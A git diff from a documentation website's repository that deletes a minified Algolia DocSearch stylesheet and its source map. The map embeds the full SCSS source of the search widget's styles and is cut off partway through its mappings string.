8px;width:80%}.DocSearch-Input::placeholder{color:var(--docsearch-muted-color);opacity:1}.DocSearch-Input::-webkit-search-cancel-button,.DocSearch-Input::-webkit-search-decoration,.DocSearch-Input::-webkit-search-results-button,.DocSearch-Input::-webkit-search-results-decoration{display:none}.DocSearch-LoadingIndicator,.DocSearch-MagnifierLabel,.DocSearch-Reset{margin:0;padding:0}.DocSearch-MagnifierLabel,.DocSearch-Reset{align-items:center;color:var(--docsearch-highlight-color);display:flex;justify-content:center}.DocSearch-Container--Stalled .DocSearch-MagnifierLabel,.DocSearch-LoadingIndicator{display:none}.DocSearch-Container--Stalled .DocSearch-LoadingIndicator{align-items:center;color:var(--docsearch-highlight-color);display:flex;justify-content:center}@media screen and (prefers-reduced-motion: reduce){.DocSearch-Reset{animation:none;appearance:none;background:none;border:0;border-radius:50%;color:var(--docsearch-icon-color);cursor:pointer;right:0;stroke-width:var(--docsearch-icon-stroke-width)}}.DocSearch-Reset{animation:fade-in .1s ease-in forwards;appearance:none;background:none;border:0;border-radius:50%;color:var(--docsearch-icon-color);cursor:pointer;padding:2px;right:0;stroke-width:var(--docsearch-icon-stroke-width)}.DocSearch-Reset[hidden]{display:none}.DocSearch-Reset:focus{outline:none}.DocSearch-Reset:hover{color:var(--docsearch-highlight-color)}.DocSearch-LoadingIndicator svg,.DocSearch-MagnifierLabel svg{height:24px;width:24px}.DocSearch-Cancel{display:none}.DocSearch-Dropdown{max-height:calc(var(--docsearch-modal-height) - var(--docsearch-searchbox-height) - var(--docsearch-spacing) - var(--docsearch-footer-height));min-height:var(--docsearch-spacing);overflow-y:auto;overflow-y:overlay;padding:0 var(--docsearch-spacing);scrollbar-color:var(--docsearch-muted-color) var(--docsearch-modal-background);scrollbar-width:thin}.DocSearch-Dropdown::-webkit-scrollbar{width:12px}.DocSearch-Dropdown::-webkit-scrollbar-track{background:transparent}.DocSearch-Dropdown::-webkit-scrollbar-thumb{background-color:var(--docsearch-muted-color);border:3px solid var(--docsearch-modal-background);border-radius:20px}.DocSearch-Dropdown ul{list-style:none;margin:0;padding:0}.DocSearch-Label{font-size:.75em;line-height:1.6em}.DocSearch-Help,.DocSearch-Label{color:var(--docsearch-muted-color)}.DocSearch-Help{font-size:.9em;margin:0;user-select:none}.DocSearch-Title{font-size:1.2em}.DocSearch-Logo a{display:flex}.DocSearch-Logo svg{color:var(--docsearch-logo-color);margin-left:8px}.DocSearch-Hits:last-of-type{margin-bottom:24px}.DocSearch-Hits mark{background:none;color:var(--docsearch-highlight-color)}.DocSearch-HitsFooter{color:var(--docsearch-muted-color);display:flex;font-size:.85em;justify-content:center;margin-bottom:var(--docsearch-spacing);padding:var(--docsearch-spacing)}.DocSearch-HitsFooter a{border-bottom:1px solid;color:inherit}.DocSearch-Hit{border-radius:4px;display:flex;padding-bottom:4px;position:relative}@media screen and (prefers-reduced-motion: reduce){.DocSearch-Hit--deleting{transition:none}}.DocSearch-Hit--deleting{opacity:0;transition:all .25s linear}@media screen and (prefers-reduced-motion: reduce){.DocSearch-Hit--favoriting{transition:none}}.DocSearch-Hit--favoriting{transform:scale(0);transform-origin:top center;transition:all .25s linear;transition-delay:.25s}.DocSearch-Hit a{background:var(--docsearch-hit-background);border-radius:4px;box-shadow:var(--docsearch-hit-shadow);display:block;padding-left:var(--docsearch-spacing);width:100%}.DocSearch-Hit-source{background:var(--docsearch-modal-background);color:var(--docsearch-highlight-color);font-size:.85em;font-weight:600;line-height:32px;margin:0 -4px;padding:8px 4px 0;position:sticky;top:0;z-index:10}.DocSearch-Hit-Tree{color:var(--docsearch-muted-color);height:var(--docsearch-hit-height);opacity:.5;stroke-width:var(--docsearch-icon-stroke-width);width:24px}.DocSearch-Hit[aria-selected=true] a{background-color:var(--docsearch-highlight-color)}.DocSearch-Hit[aria-selected=true] mark{text-decoration:underline}.DocSearch-Hit-Container{align-items:center;color:var(--docsearch-hit-color);display:flex;flex-direction:row;height:var(--docsearch-hit-height);padding:0 var(--docsearch-spacing) 0 0}.DocSearch-Hit-icon{height:20px;width:20px}.DocSearch-Hit-action,.DocSearch-Hit-icon{color:var(--docsearch-muted-color);stroke-width:var(--docsearch-icon-stroke-width)}.DocSearch-Hit-action{align-items:center;display:flex;height:22px;width:22px}.DocSearch-Hit-action svg{display:block;height:18px;width:18px}.DocSearch-Hit-action+.DocSearch-Hit-action{margin-left:6px}.DocSearch-Hit-action-button{appearance:none;background:none;border:0;border-radius:50%;color:inherit;cursor:pointer;padding:2px}svg.DocSearch-Hit-Select-Icon{display:none}.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-Select-Icon{display:block}.DocSearch-Hit-action-button:focus,.DocSearch-Hit-action-button:hover{background:rgba(0,0,0,0.2);transition:background-color .1s ease-in}@media screen and (prefers-reduced-motion: reduce){.DocSearch-Hit-action-button:focus,.DocSearch-Hit-action-button:hover{transition:none}}.DocSearch-Hit-action-button:focus path,.DocSearch-Hit-action-button:hover path{fill:#fff}.DocSearch-Hit-content-wrapper{display:flex;flex:1 1 auto;flex-direction:column;font-weight:500;justify-content:center;line-height:1.2em;margin:0 8px;overflow-x:hidden;position:relative;text-overflow:ellipsis;white-space:nowrap;width:80%}.DocSearch-Hit-title{font-size:.9em}.DocSearch-Hit-path{color:var(--docsearch-muted-color);font-size:.75em}.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-action,.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-icon,.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-path,.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-text,.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-title,.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-Tree,.DocSearch-Hit[aria-selected=true] mark{color:var(--docsearch-hit-active-color) !important}@media screen and (prefers-reduced-motion: reduce){.DocSearch-Hit-action-button:focus,.DocSearch-Hit-action-button:hover{background:rgba(0,0,0,0.2);transition:none}}.DocSearch-ErrorScreen,.DocSearch-NoResults,.DocSearch-StartScreen{font-size:.9em;margin:0 auto;padding:36px 0;text-align:center;width:80%}.DocSearch-Screen-Icon{color:var(--docsearch-muted-color);padding-bottom:12px}.DocSearch-NoResults-Prefill-List{display:inline-block;padding-bottom:24px;text-align:left}.DocSearch-NoResults-Prefill-List ul{display:inline-block;padding:8px 0 0}.DocSearch-NoResults-Prefill-List li{list-style-position:inside;list-style-type:"» "}.DocSearch-Prefill{appearance:none;background:none;border:0;border-radius:1em;color:var(--docsearch-highlight-color);cursor:pointer;display:inline-block;font-size:1em;font-weight:700;padding:0}.DocSearch-Prefill:focus,.DocSearch-Prefill:hover{outline:none;text-decoration:underline}.DocSearch-Footer{align-items:center;border-radius:0 0 8px 8px;box-shadow:var(--docsearch-footer-shadow);display:flex;flex-direction:row-reverse;flex-shrink:0;height:var(--docsearch-footer-height);justify-content:space-between;padding:0 var(--docsearch-spacing);position:relative;user-select:none;width:100%;z-index:300}.DocSearch-Commands{color:var(--docsearch-muted-color);display:flex;list-style:none;margin:0;padding:0}.DocSearch-Commands li{align-items:center;display:flex}.DocSearch-Commands li:not(:last-of-type){margin-right:.8em}.DocSearch-Commands-Key{align-items:center;border-radius:2px;display:flex;height:18px;justify-content:center;margin-right:.4em;padding:0 0 1px;color:var(--docsearch-muted-color);border:1px solid var(--border-color);width:20px}@media (max-width: 768px){:root{--docsearch-spacing: 10px;--docsearch-footer-height: 40px - }.DocSearch-Dropdown{height:100%}.DocSearch-Container{height:100vh;height:-webkit-fill-available;height:calc(var(--docsearch-vh, 1vh) * 100);position:absolute}.DocSearch-Footer{border-radius:0;bottom:0;position:absolute}.DocSearch-Hit-content-wrapper{display:flex;position:relative;width:80%}.DocSearch-Modal{border-radius:0;box-shadow:none;height:100vh;height:-webkit-fill-available;height:calc(var(--docsearch-vh, 1vh) * 100);margin:0;max-width:100%;width:100%}.DocSearch-Dropdown{max-height:calc(var(--docsearch-vh, 1vh) * 100 - var(--docsearch-searchbox-height) - var(--docsearch-spacing) - var(--docsearch-footer-height))}.DocSearch-Cancel{appearance:none;background:none;border:0;color:var(--docsearch-highlight-color);cursor:pointer;display:inline-block;flex:none;font:inherit;font-size:1em;font-weight:500;margin-left:var(--docsearch-spacing);outline:none;overflow:hidden;padding:0;user-select:none;white-space:nowrap}.DocSearch-Commands,.DocSearch-Hit-Tree{display:none}}@keyframes fade-in{0%{opacity:0}to{opacity:1}} - -/*# sourceMappingURL=docsearch.css.map */ \ No newline at end of file diff --git a/public/scss/component/docsearch.css.map b/public/scss/component/docsearch.css.map deleted file mode 100644 index 680c261..0000000 --- a/public/scss/component/docsearch.css.map +++ /dev/null @@ -1,13 +0,0 @@ -{ - "version": 3, - "file": "docsearch.css", - "sourceRoot": "/Users/sangambiradar/Documents/GitHub/kubernetesdaily.github.io", - "sources": [ - "assets/scss/component/docsearch.scss" - ], - "sourcesContent": [ - "/*! @docsearch/css 3.2.0 | MIT License | © Algolia, Inc. and contributors | https://docsearch.algolia.com | https://cdn.jsdelivr.net/npm/@docsearch/css@3 */\n:root {\n --docsearch-primary-color: #5468ff;\n --docsearch-spacing: 12px;\n --docsearch-icon-stroke-width: 1.4;\n --docsearch-highlight-color: var(--docsearch-primary-color);\n --docsearch-muted-color: #969faf;\n --docsearch-container-background: rgba(255, 255, 255, 0.1);\n --docsearch-logo-color: #5468ff;\n --docsearch-modal-width: 560px;\n --docsearch-modal-height: 600px;\n --docsearch-modal-shadow: inset 1px 1px 0 0 hsla(0, 0%, 100%, 0.5), 0 3px 8px 0 #555a64;\n --docsearch-searchbox-height: 56px;\n --docsearch-searchbox-focus-background: #fff;\n --docsearch-searchbox-shadow: inset 0 0 0 2px var(--docsearch-primary-color);\n --docsearch-hit-height: 56px;\n --docsearch-hit-color: #444950;\n --docsearch-hit-active-color: #fff;\n --docsearch-hit-background: #fff;\n --docsearch-hit-shadow: 0 1px 3px 0 #d4d9e1;\n --docsearch-footer-height: 44px;\n --docsearch-footer-shadow: 0 -1px 0 0 #e0e3e8, 0 -3px 6px 0 rgba(69, 98, 155, 0.12)\n}\n\n:root[data-color=\"dark\"] {\n --docsearch-modal-shadow: inset 1px 1px 0 0 #2c2e40, 0 3px 8px 0 #000309;\n --docsearch-searchbox-focus-background: #000;\n --docsearch-hit-color: #bec3c9;\n --docsearch-hit-shadow: none;\n --docsearch-hit-background: #090a11;\n --docsearch-footer-shadow: inset 0 1px 0 0 rgba(73, 76, 106, 0.5), 0 -4px 8px 0 rgba(0, 0, 0, 0.2);\n --docsearch-muted-color: #7f8497\n}\n\n:root[data-color=\"night\"] {\n --docsearch-modal-shadow: inset 1px 1px 0 0 #2c2e40, 0 3px 8px 0 #000309;\n --docsearch-searchbox-focus-background: #000;\n --docsearch-hit-color: #bec3c9;\n --docsearch-hit-shadow: none;\n --docsearch-hit-background: #090a11;\n --docsearch-footer-shadow: inset 0 1px 0 0 rgba(73, 76, 106, 0.5), 0 -4px 8px 0 rgba(0, 0, 0, 0.2);\n --docsearch-muted-color: #7f8497\n}\n\n.DocSearch-Button {\n width: 100%;\n line-height: 1.6em;\n align-items: center;\n box-shadow: var(--box-shadow);\n border-radius: 24px;\n color: var(--color);\n cursor: pointer;\n display: flex;\n justify-content: space-between;\n margin: 0 12px;\n padding: 3px 6px;\n user-select: none;\n}\n\n.DocSearch-Button:active, .DocSearch-Button:focus, .DocSearch-Button:hover {\n background: var(--docsearch-searchbox-focus-background);\n box-shadow: var(--docsearch-searchbox-shadow);\n color: var(--color);\n outline: none\n}\n\n.DocSearch-Button-Container {\n align-items: center;\n display: flex\n}\n\n.DocSearch-Search-Icon {\n stroke-width: 1.6\n}\n\n.DocSearch-Button-Placeholder {\n font-size: 1rem;\n padding: 0 12px 0 6px;\n color: var(--color3)\n}\n\n.DocSearch-Button-Keys {\n display: flex;\n min-width: calc(40px + .8em)\n}\n\n.DocSearch-Button-Key {\n align-items: center;\n border-radius: 3px;\n color: var(--docsearch-muted-color);\n display: flex;\n height: 18px;\n justify-content: center;\n margin-right: .4em;\n position: relative;\n border: 1px solid var(--border-color);\n width: 20px\n}\n\n@media (min-width: 1278px) {\n .DocSearch-Button {\n width: 80%;\n margin: 0;\n }\n}\n\n@media (min-width: 2558px) {\n .DocSearch-Button {\n width: 60%;\n }\n}\n\n@media (min-width: 3838px) {\n .DocSearch-Button {\n width: 40%;\n }\n}\n\n.DocSearch--active {\n overflow: hidden !important\n}\n\n.DocSearch-Container, .DocSearch-Container * {\n box-sizing: border-box\n}\n\n.DocSearch-Container {\n background-color: var(--docsearch-container-background);\n height: 100vh;\n left: 0;\n position: fixed;\n top: 0;\n width: 100vw;\n z-index: 200;\n backdrop-filter: blur(var(--blur));\n -webkit-backdrop-filter: blur(var(--blur));\n}\n\n.DocSearch-Container a {\n text-decoration: none\n}\n\n.DocSearch-Link {\n appearance: none;\n background: none;\n border: 0;\n color: var(--docsearch-highlight-color);\n cursor: pointer;\n font: inherit;\n margin: 0;\n padding: 0\n}\n\n.DocSearch-Modal {\n background: var(--background);\n border-radius: 6px;\n box-shadow: var(--docsearch-modal-shadow);\n flex-direction: column;\n margin: 60px auto auto;\n max-width: var(--docsearch-modal-width);\n position: relative\n}\n\n.DocSearch-SearchBar {\n display: flex;\n padding: var(--docsearch-spacing) var(--docsearch-spacing) 0\n}\n\n.DocSearch-Form {\n align-items: center;\n background: var(--docsearch-searchbox-focus-background);\n border-radius: 4px;\n box-shadow: var(--docsearch-searchbox-shadow);\n display: flex;\n height: var(--docsearch-searchbox-height);\n margin: 0;\n padding: 0 var(--docsearch-spacing);\n position: relative;\n width: 100%\n}\n\n.DocSearch-Input {\n appearance: none;\n background: transparent;\n border: 0;\n color: var(--docsearch-text-color);\n flex: 1;\n font: inherit;\n font-size: 1.2em;\n height: 100%;\n outline: none;\n padding: 0 0 0 8px;\n width: 80%\n}\n\n.DocSearch-Input::placeholder {\n color: var(--docsearch-muted-color);\n opacity: 1\n}\n\n.DocSearch-Input::-webkit-search-cancel-button, .DocSearch-Input::-webkit-search-decoration, .DocSearch-Input::-webkit-search-results-button, .DocSearch-Input::-webkit-search-results-decoration {\n display: none\n}\n\n.DocSearch-LoadingIndicator, .DocSearch-MagnifierLabel, .DocSearch-Reset {\n margin: 0;\n padding: 0\n}\n\n.DocSearch-MagnifierLabel, .DocSearch-Reset {\n align-items: center;\n color: var(--docsearch-highlight-color);\n display: flex;\n justify-content: center\n}\n\n.DocSearch-Container--Stalled .DocSearch-MagnifierLabel, .DocSearch-LoadingIndicator {\n display: none\n}\n\n.DocSearch-Container--Stalled .DocSearch-LoadingIndicator {\n align-items: center;\n color: var(--docsearch-highlight-color);\n display: flex;\n justify-content: center\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .DocSearch-Reset {\n animation: none;\n appearance: none;\n background: none;\n border: 0;\n border-radius: 50%;\n color: var(--docsearch-icon-color);\n cursor: pointer;\n right: 0;\n stroke-width: var(--docsearch-icon-stroke-width)\n }\n}\n\n.DocSearch-Reset {\n animation: fade-in .1s ease-in forwards;\n appearance: none;\n background: none;\n border: 0;\n border-radius: 50%;\n color: var(--docsearch-icon-color);\n cursor: pointer;\n padding: 2px;\n right: 0;\n stroke-width: var(--docsearch-icon-stroke-width)\n}\n\n.DocSearch-Reset[hidden] {\n display: none\n}\n\n.DocSearch-Reset:focus {\n outline: none\n}\n\n.DocSearch-Reset:hover {\n color: var(--docsearch-highlight-color)\n}\n\n.DocSearch-LoadingIndicator svg, .DocSearch-MagnifierLabel svg {\n height: 24px;\n width: 24px\n}\n\n.DocSearch-Cancel {\n display: none\n}\n\n.DocSearch-Dropdown {\n max-height: calc(var(--docsearch-modal-height) - var(--docsearch-searchbox-height) - var(--docsearch-spacing) - var(--docsearch-footer-height));\n min-height: var(--docsearch-spacing);\n overflow-y: auto;\n overflow-y: overlay;\n padding: 0 var(--docsearch-spacing);\n scrollbar-color: var(--docsearch-muted-color) var(--docsearch-modal-background);\n scrollbar-width: thin\n}\n\n.DocSearch-Dropdown::-webkit-scrollbar {\n width: 12px\n}\n\n.DocSearch-Dropdown::-webkit-scrollbar-track {\n background: transparent\n}\n\n.DocSearch-Dropdown::-webkit-scrollbar-thumb {\n background-color: var(--docsearch-muted-color);\n border: 3px solid var(--docsearch-modal-background);\n border-radius: 20px\n}\n\n.DocSearch-Dropdown ul {\n list-style: none;\n margin: 0;\n padding: 0\n}\n\n.DocSearch-Label {\n font-size: .75em;\n line-height: 1.6em\n}\n\n.DocSearch-Help, .DocSearch-Label {\n color: var(--docsearch-muted-color)\n}\n\n.DocSearch-Help {\n font-size: .9em;\n margin: 0;\n user-select: none\n}\n\n.DocSearch-Title {\n font-size: 1.2em\n}\n\n.DocSearch-Logo a {\n display: flex\n}\n\n.DocSearch-Logo svg {\n color: var(--docsearch-logo-color);\n margin-left: 8px\n}\n\n.DocSearch-Hits:last-of-type {\n margin-bottom: 24px\n}\n\n.DocSearch-Hits mark {\n background: none;\n color: var(--docsearch-highlight-color)\n}\n\n.DocSearch-HitsFooter {\n color: var(--docsearch-muted-color);\n display: flex;\n font-size: .85em;\n justify-content: center;\n margin-bottom: var(--docsearch-spacing);\n padding: var(--docsearch-spacing)\n}\n\n.DocSearch-HitsFooter a {\n border-bottom: 1px solid;\n color: inherit\n}\n\n.DocSearch-Hit {\n border-radius: 4px;\n display: flex;\n padding-bottom: 4px;\n position: relative\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .DocSearch-Hit--deleting {\n transition: none\n }\n}\n\n.DocSearch-Hit--deleting {\n opacity: 0;\n transition: all .25s linear\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .DocSearch-Hit--favoriting {\n transition: none\n }\n}\n\n.DocSearch-Hit--favoriting {\n transform: scale(0);\n transform-origin: top center;\n transition: all .25s linear;\n transition-delay: .25s\n}\n\n.DocSearch-Hit a {\n background: var(--docsearch-hit-background);\n border-radius: 4px;\n box-shadow: var(--docsearch-hit-shadow);\n display: block;\n padding-left: var(--docsearch-spacing);\n width: 100%\n}\n\n.DocSearch-Hit-source {\n background: var(--docsearch-modal-background);\n color: var(--docsearch-highlight-color);\n font-size: .85em;\n font-weight: 600;\n line-height: 32px;\n margin: 0 -4px;\n padding: 8px 4px 0;\n position: sticky;\n top: 0;\n z-index: 10\n}\n\n.DocSearch-Hit-Tree {\n color: var(--docsearch-muted-color);\n height: var(--docsearch-hit-height);\n opacity: .5;\n stroke-width: var(--docsearch-icon-stroke-width);\n width: 24px\n}\n\n.DocSearch-Hit[aria-selected=true] a {\n background-color: var(--docsearch-highlight-color)\n}\n\n.DocSearch-Hit[aria-selected=true] mark {\n text-decoration: underline\n}\n\n.DocSearch-Hit-Container {\n align-items: center;\n color: var(--docsearch-hit-color);\n display: flex;\n flex-direction: row;\n height: var(--docsearch-hit-height);\n padding: 0 var(--docsearch-spacing) 0 0\n}\n\n.DocSearch-Hit-icon {\n height: 20px;\n width: 20px\n}\n\n.DocSearch-Hit-action, .DocSearch-Hit-icon {\n color: var(--docsearch-muted-color);\n stroke-width: var(--docsearch-icon-stroke-width)\n}\n\n.DocSearch-Hit-action {\n align-items: center;\n display: flex;\n height: 22px;\n width: 22px\n}\n\n.DocSearch-Hit-action svg {\n display: block;\n height: 18px;\n width: 18px\n}\n\n.DocSearch-Hit-action + .DocSearch-Hit-action {\n margin-left: 6px\n}\n\n.DocSearch-Hit-action-button {\n appearance: none;\n background: none;\n border: 0;\n border-radius: 50%;\n color: inherit;\n cursor: pointer;\n padding: 2px\n}\n\nsvg.DocSearch-Hit-Select-Icon {\n display: none\n}\n\n.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-Select-Icon {\n display: block\n}\n\n.DocSearch-Hit-action-button:focus, .DocSearch-Hit-action-button:hover {\n background: rgba(0, 0, 0, .2);\n transition: background-color .1s ease-in\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .DocSearch-Hit-action-button:focus, .DocSearch-Hit-action-button:hover {\n transition: none\n }\n}\n\n.DocSearch-Hit-action-button:focus path, .DocSearch-Hit-action-button:hover path {\n fill: #fff\n}\n\n.DocSearch-Hit-content-wrapper {\n display: flex;\n flex: 1 1 auto;\n flex-direction: column;\n font-weight: 500;\n justify-content: center;\n line-height: 1.2em;\n margin: 0 8px;\n overflow-x: hidden;\n position: relative;\n text-overflow: ellipsis;\n white-space: nowrap;\n width: 80%\n}\n\n.DocSearch-Hit-title {\n font-size: .9em\n}\n\n.DocSearch-Hit-path {\n color: var(--docsearch-muted-color);\n font-size: .75em\n}\n\n.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-action, .DocSearch-Hit[aria-selected=true] .DocSearch-Hit-icon, .DocSearch-Hit[aria-selected=true] .DocSearch-Hit-path, .DocSearch-Hit[aria-selected=true] .DocSearch-Hit-text, .DocSearch-Hit[aria-selected=true] .DocSearch-Hit-title, .DocSearch-Hit[aria-selected=true] .DocSearch-Hit-Tree, .DocSearch-Hit[aria-selected=true] mark {\n color: var(--docsearch-hit-active-color) !important\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .DocSearch-Hit-action-button:focus, .DocSearch-Hit-action-button:hover {\n background: rgba(0, 0, 0, .2);\n transition: none\n }\n}\n\n.DocSearch-ErrorScreen, .DocSearch-NoResults, .DocSearch-StartScreen {\n font-size: .9em;\n margin: 0 auto;\n padding: 36px 0;\n text-align: center;\n width: 80%\n}\n\n.DocSearch-Screen-Icon {\n color: var(--docsearch-muted-color);\n padding-bottom: 12px\n}\n\n.DocSearch-NoResults-Prefill-List {\n display: inline-block;\n padding-bottom: 24px;\n text-align: left\n}\n\n.DocSearch-NoResults-Prefill-List ul {\n display: inline-block;\n padding: 8px 0 0\n}\n\n.DocSearch-NoResults-Prefill-List li {\n list-style-position: inside;\n list-style-type: \"» \"\n}\n\n.DocSearch-Prefill {\n appearance: none;\n background: none;\n border: 0;\n border-radius: 1em;\n color: var(--docsearch-highlight-color);\n cursor: pointer;\n display: inline-block;\n font-size: 1em;\n font-weight: 700;\n padding: 0\n}\n\n.DocSearch-Prefill:focus, .DocSearch-Prefill:hover {\n outline: none;\n text-decoration: underline\n}\n\n.DocSearch-Footer {\n align-items: center;\n border-radius: 0 0 8px 8px;\n box-shadow: var(--docsearch-footer-shadow);\n display: flex;\n flex-direction: row-reverse;\n flex-shrink: 0;\n height: var(--docsearch-footer-height);\n justify-content: space-between;\n padding: 0 var(--docsearch-spacing);\n position: relative;\n user-select: none;\n width: 100%;\n z-index: 300\n}\n\n.DocSearch-Commands {\n color: var(--docsearch-muted-color);\n display: flex;\n list-style: none;\n margin: 0;\n padding: 0\n}\n\n.DocSearch-Commands li {\n align-items: center;\n display: flex\n}\n\n.DocSearch-Commands li:not(:last-of-type) {\n margin-right: .8em\n}\n\n.DocSearch-Commands-Key {\n align-items: center;\n border-radius: 2px;\n display: flex;\n height: 18px;\n justify-content: center;\n margin-right: .4em;\n padding: 0 0 1px;\n color: var(--docsearch-muted-color);\n border: 1px solid var(--border-color);\n width: 20px\n}\n\n@media (max-width: 768px) {\n :root {\n --docsearch-spacing: 10px;\n --docsearch-footer-height: 40px\n }\n .DocSearch-Dropdown {\n height: 100%\n }\n .DocSearch-Container {\n height: 100vh;\n height: -webkit-fill-available;\n height: calc(var(--docsearch-vh, 1vh) * 100);\n position: absolute\n }\n .DocSearch-Footer {\n border-radius: 0;\n bottom: 0;\n position: absolute\n }\n .DocSearch-Hit-content-wrapper {\n display: flex;\n position: relative;\n width: 80%\n }\n .DocSearch-Modal {\n border-radius: 0;\n box-shadow: none;\n height: 100vh;\n height: -webkit-fill-available;\n height: calc(var(--docsearch-vh, 1vh) * 100);\n margin: 0;\n max-width: 100%;\n width: 100%\n }\n .DocSearch-Dropdown {\n max-height: calc(var(--docsearch-vh, 1vh) * 100 - var(--docsearch-searchbox-height) - var(--docsearch-spacing) - var(--docsearch-footer-height))\n }\n .DocSearch-Cancel {\n appearance: none;\n background: none;\n border: 0;\n color: var(--docsearch-highlight-color);\n cursor: pointer;\n display: inline-block;\n flex: none;\n font: inherit;\n font-size: 1em;\n font-weight: 500;\n margin-left: var(--docsearch-spacing);\n outline: none;\n overflow: hidden;\n padding: 0;\n user-select: none;\n white-space: nowrap\n }\n .DocSearch-Commands, .DocSearch-Hit-Tree {\n display: none\n }\n}\n\n@keyframes fade-in {\n 0% {\n opacity: 0\n }\n to {\n opacity: 1\n }\n}" - ], - "names": [], - "mappings": "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